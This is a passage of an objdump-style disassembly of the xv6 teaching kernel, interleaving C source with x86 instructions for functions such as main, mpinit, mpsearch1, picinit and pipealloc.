80102dbf: eb df jmp 80102da0 <log_write+0x80>
80102dc1: 8b 43 08 mov 0x8(%ebx),%eax
80102dc4: a3 cc 26 11 80 mov %eax,0x801126cc
if (i == log.lh.n)
80102dc9: 75 d5 jne 80102da0 <log_write+0x80>
80102dcb: eb ca jmp 80102d97 <log_write+0x77>
80102dcd: 8d 76 00 lea 0x0(%esi),%esi
log_write(struct buf *b)
{
int i;
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
panic("too big a transaction");
80102dd0: 83 ec 0c sub $0xc,%esp
80102dd3: 68 f3 73 10 80 push $0x801073f3
80102dd8: e8 93 d5 ff ff call 80100370 <panic>
if (log.outstanding < 1)
panic("log_write outside of trans");
80102ddd: 83 ec 0c sub $0xc,%esp
80102de0: 68 09 74 10 80 push $0x80107409
80102de5: e8 86 d5 ff ff call 80100370 <panic>
80102dea: 66 90 xchg %ax,%ax
80102dec: 66 90 xchg %ax,%ax
80102dee: 66 90 xchg %ax,%ax
80102df0 <mpmain>:
}
// Common CPU setup code.
static void
mpmain(void)
{
80102df0: 55 push %ebp
80102df1: 89 e5 mov %esp,%ebp
80102df3: 53 push %ebx
80102df4: 83 ec 04 sub $0x4,%esp
cprintf("cpu%d: starting %d\n", cpuid(), cpuid());
80102df7: e8 54 09 00 00 call 80103750 <cpuid>
80102dfc: 89 c3 mov %eax,%ebx
80102dfe: e8 4d 09 00 00 call 80103750 <cpuid>
80102e03: 83 ec 04 sub $0x4,%esp
80102e06: 53 push %ebx
80102e07: 50 push %eax
80102e08: 68 24 74 10 80 push $0x80107424
80102e0d: e8 4e d8 ff ff call 80100660 <cprintf>
idtinit(); // load idt register
80102e12: e8 29 29 00 00 call 80105740 <idtinit>
xchg(&(mycpu()->started), 1); // tell startothers() we're up
80102e17: e8 b4 08 00 00 call 801036d0 <mycpu>
80102e1c: 89 c2 mov %eax,%edx
xchg(volatile uint *addr, uint newval)
{
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
80102e1e: b8 01 00 00 00 mov $0x1,%eax
80102e23: f0 87 82 a0 00 00 00 lock xchg %eax,0xa0(%edx)
scheduler(); // start running processes
80102e2a: e8 01 0c 00 00 call 80103a30 <scheduler>
80102e2f: 90 nop
80102e30 <mpenter>:
}
// Other CPUs jump here from entryother.S.
static void
mpenter(void)
{
80102e30: 55 push %ebp
80102e31: 89 e5 mov %esp,%ebp
80102e33: 83 ec 08 sub $0x8,%esp
switchkvm();
80102e36: e8 25 3a 00 00 call 80106860 <switchkvm>
seginit();
80102e3b: e8 20 39 00 00 call 80106760 <seginit>
lapicinit();
80102e40: e8 9b f7 ff ff call 801025e0 <lapicinit>
mpmain();
80102e45: e8 a6 ff ff ff call 80102df0 <mpmain>
80102e4a: 66 90 xchg %ax,%ax
80102e4c: 66 90 xchg %ax,%ax
80102e4e: 66 90 xchg %ax,%ax
80102e50 <main>:
// Bootstrap processor starts running C code here.
// Allocate a real stack and switch to it, first
// doing some setup required for memory allocator to work.
int
main(void)
{
80102e50: 8d 4c 24 04 lea 0x4(%esp),%ecx
80102e54: 83 e4 f0 and $0xfffffff0,%esp
80102e57: ff 71 fc pushl -0x4(%ecx)
80102e5a: 55 push %ebp
80102e5b: 89 e5 mov %esp,%ebp
80102e5d: 53 push %ebx
80102e5e: 51 push %ecx
// The linker has placed the image of entryother.S in
// _binary_entryother_start.
code = P2V(0x7000);
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
for(c = cpus; c < cpus+ncpu; c++){
80102e5f: bb 80 27 11 80 mov $0x80112780,%ebx
// Allocate a real stack and switch to it, first
// doing some setup required for memory allocator to work.
int
main(void)
{
kinit1(end, P2V(4*1024*1024)); // phys page allocator
80102e64: 83 ec 08 sub $0x8,%esp
80102e67: 68 00 00 40 80 push $0x80400000
80102e6c: 68 a8 55 11 80 push $0x801155a8
80102e71: e8 3a f5 ff ff call 801023b0 <kinit1>
kvmalloc(); // kernel page table
80102e76: e8 85 3e 00 00 call 80106d00 <kvmalloc>
mpinit(); // detect other processors
80102e7b: e8 70 01 00 00 call 80102ff0 <mpinit>
lapicinit(); // interrupt controller
80102e80: e8 5b f7 ff ff call 801025e0 <lapicinit>
seginit(); // segment descriptors
80102e85: e8 d6 38 00 00 call 80106760 <seginit>
picinit(); // disable pic
80102e8a: e8 31 03 00 00 call 801031c0 <picinit>
ioapicinit(); // another interrupt controller
80102e8f: e8 4c f3 ff ff call 801021e0 <ioapicinit>
consoleinit(); // console hardware
80102e94: e8 07 db ff ff call 801009a0 <consoleinit>
uartinit(); // serial port
80102e99: e8 92 2b 00 00 call 80105a30 <uartinit>
pinit(); // process table
80102e9e: e8 0d 08 00 00 call 801036b0 <pinit>
tvinit(); // trap vectors
80102ea3: e8 f8 27 00 00 call 801056a0 <tvinit>
binit(); // buffer cache
80102ea8: e8 93 d1 ff ff call 80100040 <binit>
fileinit(); // file table
80102ead: e8 9e de ff ff call 80100d50 <fileinit>
ideinit(); // disk
80102eb2: e8 09 f1 ff ff call 80101fc0 <ideinit>
// Write entry code to unused memory at 0x7000.
// The linker has placed the image of entryother.S in
// _binary_entryother_start.
code = P2V(0x7000);
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
80102eb7: 83 c4 0c add $0xc,%esp
80102eba: 68 8a 00 00 00 push $0x8a
80102ebf: 68 8c a4 10 80 push $0x8010a48c
80102ec4: 68 00 70 00 80 push $0x80007000
80102ec9: e8 52 16 00 00 call 80104520 <memmove>
for(c = cpus; c < cpus+ncpu; c++){
80102ece: 69 05 00 2d 11 80 b0 imul $0xb0,0x80112d00,%eax
80102ed5: 00 00 00
80102ed8: 83 c4 10 add $0x10,%esp
80102edb: 05 80 27 11 80 add $0x80112780,%eax
80102ee0: 39 d8 cmp %ebx,%eax
80102ee2: 76 6f jbe 80102f53 <main+0x103>
80102ee4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(c == mycpu()) // We've started already.
80102ee8: e8 e3 07 00 00 call 801036d0 <mycpu>
80102eed: 39 d8 cmp %ebx,%eax
80102eef: 74 49 je 80102f3a <main+0xea>
continue;
// Tell entryother.S what stack to use, where to enter, and what
// pgdir to use. We cannot use kpgdir yet, because the AP processor
// is running in low memory, so we use entrypgdir for the APs too.
stack = kalloc();
80102ef1: e8 8a f5 ff ff call 80102480 <kalloc>
*(void**)(code-4) = stack + KSTACKSIZE;
80102ef6: 05 00 10 00 00 add $0x1000,%eax
*(void(**)(void))(code-8) = mpenter;
80102efb: c7 05 f8 6f 00 80 30 movl $0x80102e30,0x80006ff8
80102f02: 2e 10 80
*(int**)(code-12) = (void *) V2P(entrypgdir);
80102f05: c7 05 f4 6f 00 80 00 movl $0x109000,0x80006ff4
80102f0c: 90 10 00
// Tell entryother.S what stack to use, where to enter, and what
// pgdir to use. We cannot use kpgdir yet, because the AP processor
// is running in low memory, so we use entrypgdir for the APs too.
stack = kalloc();
*(void**)(code-4) = stack + KSTACKSIZE;
80102f0f: a3 fc 6f 00 80 mov %eax,0x80006ffc
*(void(**)(void))(code-8) = mpenter;
*(int**)(code-12) = (void *) V2P(entrypgdir);
lapicstartap(c->apicid, V2P(code));
80102f14: 0f b6 03 movzbl (%ebx),%eax
80102f17: 83 ec 08 sub $0x8,%esp
80102f1a: 68 00 70 00 00 push $0x7000
80102f1f: 50 push %eax
80102f20: e8 0b f8 ff ff call 80102730 <lapicstartap>
80102f25: 83 c4 10 add $0x10,%esp
80102f28: 90 nop
80102f29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
// wait for cpu to finish mpmain()
while(c->started == 0)
80102f30: 8b 83 a0 00 00 00 mov 0xa0(%ebx),%eax
80102f36: 85 c0 test %eax,%eax
80102f38: 74 f6 je 80102f30 <main+0xe0>
// The linker has placed the image of entryother.S in
// _binary_entryother_start.
code = P2V(0x7000);
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
for(c = cpus; c < cpus+ncpu; c++){
80102f3a: 69 05 00 2d 11 80 b0 imul $0xb0,0x80112d00,%eax
80102f41: 00 00 00
80102f44: 81 c3 b0 00 00 00 add $0xb0,%ebx
80102f4a: 05 80 27 11 80 add $0x80112780,%eax
80102f4f: 39 c3 cmp %eax,%ebx
80102f51: 72 95 jb 80102ee8 <main+0x98>
tvinit(); // trap vectors
binit(); // buffer cache
fileinit(); // file table
ideinit(); // disk
startothers(); // start other processors
kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers()
80102f53: 83 ec 08 sub $0x8,%esp
80102f56: 68 00 00 00 8e push $0x8e000000
80102f5b: 68 00 00 40 80 push $0x80400000
80102f60: e8 bb f4 ff ff call 80102420 <kinit2>
userinit(); // first user process
80102f65: e8 36 08 00 00 call 801037a0 <userinit>
mpmain(); // finish this processor's setup
80102f6a: e8 81 fe ff ff call 80102df0 <mpmain>
80102f6f: 90 nop
80102f70 <mpsearch1>:
}
// Look for an MP structure in the len bytes at addr.
static struct mp*
mpsearch1(uint a, int len)
{
80102f70: 55 push %ebp
80102f71: 89 e5 mov %esp,%ebp
80102f73: 57 push %edi
80102f74: 56 push %esi
uchar *e, *p, *addr;
addr = P2V(a);
80102f75: 8d b0 00 00 00 80 lea -0x80000000(%eax),%esi
}
// Look for an MP structure in the len bytes at addr.
static struct mp*
mpsearch1(uint a, int len)
{
80102f7b: 53 push %ebx
uchar *e, *p, *addr;
addr = P2V(a);
e = addr+len;
80102f7c: 8d 1c 16 lea (%esi,%edx,1),%ebx
}
// Look for an MP structure in the len bytes at addr.
static struct mp*
mpsearch1(uint a, int len)
{
80102f7f: 83 ec 0c sub $0xc,%esp
uchar *e, *p, *addr;
addr = P2V(a);
e = addr+len;
for(p = addr; p < e; p += sizeof(struct mp))
80102f82: 39 de cmp %ebx,%esi
80102f84: 73 48 jae 80102fce <mpsearch1+0x5e>
80102f86: 8d 76 00 lea 0x0(%esi),%esi
80102f89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
80102f90: 83 ec 04 sub $0x4,%esp
80102f93: 8d 7e 10 lea 0x10(%esi),%edi
80102f96: 6a 04 push $0x4
80102f98: 68 38 74 10 80 push $0x80107438
80102f9d: 56 push %esi
80102f9e: e8 1d 15 00 00 call 801044c0 <memcmp>
80102fa3: 83 c4 10 add $0x10,%esp
80102fa6: 85 c0 test %eax,%eax
80102fa8: 75 1e jne 80102fc8 <mpsearch1+0x58>
80102faa: 8d 7e 10 lea 0x10(%esi),%edi
80102fad: 89 f2 mov %esi,%edx
80102faf: 31 c9 xor %ecx,%ecx
80102fb1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
sum += addr[i];
80102fb8: 0f b6 02 movzbl (%edx),%eax
80102fbb: 83 c2 01 add $0x1,%edx
80102fbe: 01 c1 add %eax,%ecx
sum(uchar *addr, int len)
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
80102fc0: 39 fa cmp %edi,%edx
80102fc2: 75 f4 jne 80102fb8 <mpsearch1+0x48>
uchar *e, *p, *addr;
addr = P2V(a);
e = addr+len;
for(p = addr; p < e; p += sizeof(struct mp))
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
80102fc4: 84 c9 test %cl,%cl
80102fc6: 74 10 je 80102fd8 <mpsearch1+0x68>
{
uchar *e, *p, *addr;
addr = P2V(a);
e = addr+len;
for(p = addr; p < e; p += sizeof(struct mp))
80102fc8: 39 fb cmp %edi,%ebx
80102fca: 89 fe mov %edi,%esi
80102fcc: 77 c2 ja 80102f90 <mpsearch1+0x20>
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
return (struct mp*)p;
return 0;
}
80102fce: 8d 65 f4 lea -0xc(%ebp),%esp
addr = P2V(a);
e = addr+len;
for(p = addr; p < e; p += sizeof(struct mp))
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
return (struct mp*)p;
return 0;
80102fd1: 31 c0 xor %eax,%eax
}
80102fd3: 5b pop %ebx
80102fd4: 5e pop %esi
80102fd5: 5f pop %edi
80102fd6: 5d pop %ebp
80102fd7: c3 ret
80102fd8: 8d 65 f4 lea -0xc(%ebp),%esp
80102fdb: 89 f0 mov %esi,%eax
80102fdd: 5b pop %ebx
80102fde: 5e pop %esi
80102fdf: 5f pop %edi
80102fe0: 5d pop %ebp
80102fe1: c3 ret
80102fe2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80102fe9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102ff0 <mpinit>:
return conf;
}
void
mpinit(void)
{
80102ff0: 55 push %ebp
80102ff1: 89 e5 mov %esp,%ebp
80102ff3: 57 push %edi
80102ff4: 56 push %esi
80102ff5: 53 push %ebx
80102ff6: 83 ec 1c sub $0x1c,%esp
uchar *bda;
uint p;
struct mp *mp;
bda = (uchar *) P2V(0x400);
if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){
80102ff9: 0f b6 05 0f 04 00 80 movzbl 0x8000040f,%eax
80103000: 0f b6 15 0e 04 00 80 movzbl 0x8000040e,%edx
80103007: c1 e0 08 shl $0x8,%eax
8010300a: 09 d0 or %edx,%eax
8010300c: c1 e0 04 shl $0x4,%eax
8010300f: 85 c0 test %eax,%eax
80103011: 75 1b jne 8010302e <mpinit+0x3e>
if((mp = mpsearch1(p, 1024)))
return mp;
} else {
p = ((bda[0x14]<<8)|bda[0x13])*1024;
if((mp = mpsearch1(p-1024, 1024)))
80103013: 0f b6 05 14 04 00 80 movzbl 0x80000414,%eax
8010301a: 0f b6 15 13 04 00 80 movzbl 0x80000413,%edx
80103021: c1 e0 08 shl $0x8,%eax
80103024: 09 d0 or %edx,%eax
80103026: c1 e0 0a shl $0xa,%eax
80103029: 2d 00 04 00 00 sub $0x400,%eax
uint p;
struct mp *mp;
bda = (uchar *) P2V(0x400);
if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){
if((mp = mpsearch1(p, 1024)))
8010302e: ba 00 04 00 00 mov $0x400,%edx
80103033: e8 38 ff ff ff call 80102f70 <mpsearch1>
80103038: 85 c0 test %eax,%eax
8010303a: 89 45 e4 mov %eax,-0x1c(%ebp)
8010303d: 0f 84 37 01 00 00 je 8010317a <mpinit+0x18a>
mpconfig(struct mp **pmp)
{
struct mpconf *conf;
struct mp *mp;
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
80103043: 8b 45 e4 mov -0x1c(%ebp),%eax
80103046: 8b 58 04 mov 0x4(%eax),%ebx
80103049: 85 db test %ebx,%ebx
8010304b: 0f 84 43 01 00 00 je 80103194 <mpinit+0x1a4>
return 0;
conf = (struct mpconf*) P2V((uint) mp->physaddr);
80103051: 8d b3 00 00 00 80 lea -0x80000000(%ebx),%esi
if(memcmp(conf, "PCMP", 4) != 0)
80103057: 83 ec 04 sub $0x4,%esp
8010305a: 6a 04 push $0x4
8010305c: 68 3d 74 10 80 push $0x8010743d
80103061: 56 push %esi
80103062: e8 59 14 00 00 call 801044c0 <memcmp>
80103067: 83 c4 10 add $0x10,%esp
8010306a: 85 c0 test %eax,%eax
8010306c: 0f 85 22 01 00 00 jne 80103194 <mpinit+0x1a4>
return 0;
if(conf->version != 1 && conf->version != 4)
80103072: 0f b6 83 06 00 00 80 movzbl -0x7ffffffa(%ebx),%eax
80103079: 3c 01 cmp $0x1,%al
8010307b: 74 08 je 80103085 <mpinit+0x95>
8010307d: 3c 04 cmp $0x4,%al
8010307f: 0f 85 0f 01 00 00 jne 80103194 <mpinit+0x1a4>
return 0;
if(sum((uchar*)conf, conf->length) != 0)
80103085: 0f b7 bb 04 00 00 80 movzwl -0x7ffffffc(%ebx),%edi
sum(uchar *addr, int len)
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
8010308c: 85 ff test %edi,%edi
8010308e: 74 21 je 801030b1 <mpinit+0xc1>
80103090: 31 d2 xor %edx,%edx
80103092: 31 c0 xor %eax,%eax
80103094: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
sum += addr[i];
80103098: 0f b6 8c 03 00 00 00 movzbl -0x80000000(%ebx,%eax,1),%ecx
8010309f: 80
sum(uchar *addr, int len)
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
801030a0: 83 c0 01 add $0x1,%eax
sum += addr[i];
801030a3: 01 ca add %ecx,%edx
sum(uchar *addr, int len)
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
801030a5: 39 c7 cmp %eax,%edi
801030a7: 75 ef jne 80103098 <mpinit+0xa8>
conf = (struct mpconf*) P2V((uint) mp->physaddr);
if(memcmp(conf, "PCMP", 4) != 0)
return 0;
if(conf->version != 1 && conf->version != 4)
return 0;
if(sum((uchar*)conf, conf->length) != 0)
801030a9: 84 d2 test %dl,%dl
801030ab: 0f 85 e3 00 00 00 jne 80103194 <mpinit+0x1a4>
struct mp *mp;
struct mpconf *conf;
struct mpproc *proc;
struct mpioapic *ioapic;
if((conf = mpconfig(&mp)) == 0)
801030b1: 85 f6 test %esi,%esi
801030b3: 0f 84 db 00 00 00 je 80103194 <mpinit+0x1a4>
panic("Expect to run on an SMP");
ismp = 1;
lapic = (uint*)conf->lapicaddr;
801030b9: 8b 83 24 00 00 80 mov -0x7fffffdc(%ebx),%eax
801030bf: a3 7c 26 11 80 mov %eax,0x8011267c
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
801030c4: 0f b7 93 04 00 00 80 movzwl -0x7ffffffc(%ebx),%edx
801030cb: 8d 83 2c 00 00 80 lea -0x7fffffd4(%ebx),%eax
struct mpproc *proc;
struct mpioapic *ioapic;
if((conf = mpconfig(&mp)) == 0)
panic("Expect to run on an SMP");
ismp = 1;
801030d1: bb 01 00 00 00 mov $0x1,%ebx
lapic = (uint*)conf->lapicaddr;
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
801030d6: 01 d6 add %edx,%esi
801030d8: 90 nop
801030d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801030e0: 39 c6 cmp %eax,%esi
801030e2: 76 23 jbe 80103107 <mpinit+0x117>
801030e4: 0f b6 10 movzbl (%eax),%edx
switch(*p){
801030e7: 80 fa 04 cmp $0x4,%dl
801030ea: 0f 87 c0 00 00 00 ja 801031b0 <mpinit+0x1c0>
801030f0: ff 24 95 7c 74 10 80 jmp *-0x7fef8b84(,%edx,4)
801030f7: 89 f6 mov %esi,%esi
801030f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p += sizeof(struct mpioapic);
continue;
case MPBUS:
case MPIOINTR:
case MPLINTR:
p += 8;
80103100: 83 c0 08 add $0x8,%eax
if((conf = mpconfig(&mp)) == 0)
panic("Expect to run on an SMP");
ismp = 1;
lapic = (uint*)conf->lapicaddr;
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
80103103: 39 c6 cmp %eax,%esi
80103105: 77 dd ja 801030e4 <mpinit+0xf4>
default:
ismp = 0;
break;
}
}
if(!ismp)
80103107: 85 db test %ebx,%ebx
80103109: 0f 84 92 00 00 00 je 801031a1 <mpinit+0x1b1>
panic("Didn't find a suitable machine");
if(mp->imcrp){
8010310f: 8b 45 e4 mov -0x1c(%ebp),%eax
80103112: 80 78 0c 00 cmpb $0x0,0xc(%eax)
80103116: 74 15 je 8010312d <mpinit+0x13d>
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80103118: ba 22 00 00 00 mov $0x22,%edx
8010311d: b8 70 00 00 00 mov $0x70,%eax
80103122: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80103123: ba 23 00 00 00 mov $0x23,%edx
80103128: ec in (%dx),%al
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80103129: 83 c8 01 or $0x1,%eax
8010312c: ee out %al,(%dx)
// Bochs doesn't support IMCR, so this doesn't run on Bochs.
// But it would on real hardware.
outb(0x22, 0x70); // Select IMCR
outb(0x23, inb(0x23) | 1); // Mask external interrupts.
}
}
8010312d: 8d 65 f4 lea -0xc(%ebp),%esp
80103130: 5b pop %ebx
80103131: 5e pop %esi
80103132: 5f pop %edi
80103133: 5d pop %ebp
80103134: c3 ret
80103135: 8d 76 00 lea 0x0(%esi),%esi
lapic = (uint*)conf->lapicaddr;
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
switch(*p){
case MPPROC:
proc = (struct mpproc*)p;
if(ncpu < NCPU) {
80103138: 8b 0d 00 2d 11 80 mov 0x80112d00,%ecx
8010313e: 83 f9 07 cmp $0x7,%ecx
80103141: 7f 19 jg 8010315c <mpinit+0x16c>
cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu
80103143: 0f b6 50 01 movzbl 0x1(%eax),%edx
80103147: 69 f9 b0 00 00 00 imul $0xb0,%ecx,%edi
ncpu++;
8010314d: 83 c1 01 add $0x1,%ecx
80103150: 89 0d 00 2d 11 80 mov %ecx,0x80112d00
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
switch(*p){
case MPPROC:
proc = (struct mpproc*)p;
if(ncpu < NCPU) {
cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu
80103156: 88 97 80 27 11 80 mov %dl,-0x7feed880(%edi)
ncpu++;
}
p += sizeof(struct mpproc);
8010315c: 83 c0 14 add $0x14,%eax
continue;
8010315f: e9 7c ff ff ff jmp 801030e0 <mpinit+0xf0>
80103164: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
case MPIOAPIC:
ioapic = (struct mpioapic*)p;
ioapicid = ioapic->apicno;
80103168: 0f b6 50 01 movzbl 0x1(%eax),%edx
p += sizeof(struct mpioapic);
8010316c: 83 c0 08 add $0x8,%eax
}
p += sizeof(struct mpproc);
continue;
case MPIOAPIC:
ioapic = (struct mpioapic*)p;
ioapicid = ioapic->apicno;
8010316f: 88 15 60 27 11 80 mov %dl,0x80112760
p += sizeof(struct mpioapic);
continue;
80103175: e9 66 ff ff ff jmp 801030e0 <mpinit+0xf0>
} else {
p = ((bda[0x14]<<8)|bda[0x13])*1024;
if((mp = mpsearch1(p-1024, 1024)))
return mp;
}
return mpsearch1(0xF0000, 0x10000);
8010317a: ba 00 00 01 00 mov $0x10000,%edx
8010317f: b8 00 00 0f 00 mov $0xf0000,%eax
80103184: e8 e7 fd ff ff call 80102f70 <mpsearch1>
mpconfig(struct mp **pmp)
{
struct mpconf *conf;
struct mp *mp;
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
80103189: 85 c0 test %eax,%eax
} else {
p = ((bda[0x14]<<8)|bda[0x13])*1024;
if((mp = mpsearch1(p-1024, 1024)))
return mp;
}
return mpsearch1(0xF0000, 0x10000);
8010318b: 89 45 e4 mov %eax,-0x1c(%ebp)
mpconfig(struct mp **pmp)
{
struct mpconf *conf;
struct mp *mp;
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
8010318e: 0f 85 af fe ff ff jne 80103043 <mpinit+0x53>
struct mpconf *conf;
struct mpproc *proc;
struct mpioapic *ioapic;
if((conf = mpconfig(&mp)) == 0)
panic("Expect to run on an SMP");
80103194: 83 ec 0c sub $0xc,%esp
80103197: 68 42 74 10 80 push $0x80107442
8010319c: e8 cf d1 ff ff call 80100370 <panic>
ismp = 0;
break;
}
}
if(!ismp)
panic("Didn't find a suitable machine");
801031a1: 83 ec 0c sub $0xc,%esp
801031a4: 68 5c 74 10 80 push $0x8010745c
801031a9: e8 c2 d1 ff ff call 80100370 <panic>
801031ae: 66 90 xchg %ax,%ax
case MPIOINTR:
case MPLINTR:
p += 8;
continue;
default:
ismp = 0;
801031b0: 31 db xor %ebx,%ebx
801031b2: e9 30 ff ff ff jmp 801030e7 <mpinit+0xf7>
801031b7: 66 90 xchg %ax,%ax
801031b9: 66 90 xchg %ax,%ax
801031bb: 66 90 xchg %ax,%ax
801031bd: 66 90 xchg %ax,%ax
801031bf: 90 nop
801031c0 <picinit>:
#define IO_PIC2 0xA0 // Slave (IRQs 8-15)
// Don't use the 8259A interrupt controllers. Xv6 assumes SMP hardware.
void
picinit(void)
{
801031c0: 55 push %ebp
801031c1: ba 21 00 00 00 mov $0x21,%edx
801031c6: b8 ff ff ff ff mov $0xffffffff,%eax
801031cb: 89 e5 mov %esp,%ebp
801031cd: ee out %al,(%dx)
801031ce: ba a1 00 00 00 mov $0xa1,%edx
801031d3: ee out %al,(%dx)
// mask all interrupts
outb(IO_PIC1+1, 0xFF);
outb(IO_PIC2+1, 0xFF);
}
801031d4: 5d pop %ebp
801031d5: c3 ret
801031d6: 66 90 xchg %ax,%ax
801031d8: 66 90 xchg %ax,%ax
801031da: 66 90 xchg %ax,%ax
801031dc: 66 90 xchg %ax,%ax
801031de: 66 90 xchg %ax,%ax
801031e0 <pipealloc>:
int writeopen; // write fd is still open
};
int
pipealloc(struct file **f0, struct file **f1)
{
801031e0: 55 push %ebp
801031e1: 89 e5 mov %esp,%ebp
801031e3: 57 push %edi
801031e4: 56 push %esi
801031e5: 53 push %ebx
801031e6: 83 ec 0c sub $0xc,%esp
801031e9: 8b 75 08 mov 0x8(%ebp),%esi
801031ec: 8b 5d 0c mov 0xc(%ebp),%ebx
struct pipe *p;
p = 0;
*f0 = *f1 = 0;
801031ef: c7 03 00 00 00 00 movl $0x0,(%ebx)
801031f5: c7 06 00 00 00 00 movl $0x0,(%esi)
if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0)
801031fb: e8 70 db ff ff call 80100d70 <filealloc>
80103200: 85 c0 test %eax,%eax
80103202: 89 06 mov %eax,(%esi)
80103204: 0f 84 a8 00 00 00 je 801032b2 <pipealloc+0xd2>
8010320a: e8 61 db ff ff call 80100d70 <filealloc>
8010320f: 85 c0 test %eax,%eax
80103211: 89 03 mov %eax,(%ebx)
80103213: 0f 84 87 00 00 00 je 801032a0 <pipealloc+0xc0>
goto bad;
if((p = (struct pipe*)kalloc()) == 0)
80103219: e8 62 f2 ff ff call 80102480 <kalloc>
8010321e: 85 c0 test %eax,%eax
80103220: 89 c7 mov %eax,%edi
80103222: 0f 84 b0 00 00 00 je 801032d8 <pipealloc+0xf8>
goto bad;
p->readopen = 1;
p->writeopen = 1;
p->nwrite = 0;
p->nread = 0;
initlock(&p->lock, "pipe");
80103228: 83 ec 08 sub $0x8,%esp
*f0 = *f1 = 0;
if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0)
goto bad;
if((p = (struct pipe*)kalloc()) == 0)
goto bad;
p->readopen = 1;
8010322b: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax)
80103232: 00 00 00
p->writeopen = 1;
80103235: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax)
8010323c: 00 00 00
p->nwrite = 0;
8010323f: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax)
80103246: 00 00 00
p->nread = 0;
80103249: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax)
80103250: 00 00 00
initlock(&p->lock, "pipe");
80103253: 68 90 74 10 80 push $0x80107490
80103258: 50 push %eax
80103259: e8 b2 0f 00 00 call 80104210 <initlock>
(*f0)->type = FD_PIPE;
8010325e: 8b 06 mov (%esi),%eax
(*f0)->pipe = p;
(*f1)->type = FD_PIPE;
(*f1)->readable = 0;
(*f1)->writable = 1;
(*f1)->pipe = p;
return 0;
80103260: 83 c4 10 add $0x10,%esp
p->readopen = 1;
p->writeopen = 1;
p->nwrite = 0;
p->nread = 0;
initlock(&p->lock, "pipe");
(*f0)->type = FD_PIPE;
80103263: c7 00 01 00 00 00 movl $0x1,(%eax)
(*f0)->readable = 1;
80103269: 8b 06 mov (%esi),%eax
8010326b: c6 40 08 01 movb $0x1,0x8(%eax)
(*f0)->writable = 0;
8010326f: 8b 06 mov (%esi),%eax
80103271: c6 40 09 00 movb $0x0,0x9(%eax)
(*f0)->pipe = p;
80103275: 8b 06 mov (%esi),%eax
80103277: 89 78 0c mov %edi,0xc(%eax)
(*f1)->type = FD_PIPE;
8010327a: 8b 03 mov (%ebx),%eax
8010327c: c7 00 01 00 00 00 movl $0x1,(%eax)
(*f1)->readable = 0;
80103282: 8b 03 mov (%ebx),%eax
80103284: c6 40 08 00 movb $0x0,0x8(%eax)
(*f1)->writable = 1;
80103288: 8b 03 mov (%ebx),%eax
8010328a: c6 40 09 01 movb $0x1,0x9(%eax)
(*f1)->pipe = p;
8010328e: 8b 03 mov (%ebx),%eax
80103290: 89 78 0c mov %edi,0xc(%eax)
if(*f0)
fileclose(*f0);
if(*f1)
fileclose(*f1);
return -1;
}
80103293: 8d 65 f4 lea -0xc(%ebp),%esp
(*f0)->pipe = p;
(*f1)->type = FD_PIPE;
(*f1)->readable = 0;
(*f1)->writable = 1;
(*f1)->pipe = p;
return 0;
80103296: 31 c0 xor %eax,%eax
if(*f0)
fileclose(*f0);
if(*f1)
fileclose(*f1);
return -1;
}
80103298: 5b pop %ebx
80103299: 5e pop %esi
8010329a: 5f pop %edi
8010329b: 5d pop %ebp
8010329c: c3 ret
8010329d: 8d 76 00 lea 0x0(%esi),%esi
//PAGEBREAK: 20
bad:
if(p)
kfree((char*)p);
if(*f0)
801032a0: 8b 06 mov (%esi),%eax
801032a2: 85 c0 test %eax,%eax
801032a4: 74 1e je 801032c4 <pipealloc+0xe4>
fileclose(*f0);
801032a6: 83 ec 0c sub $0xc,%esp
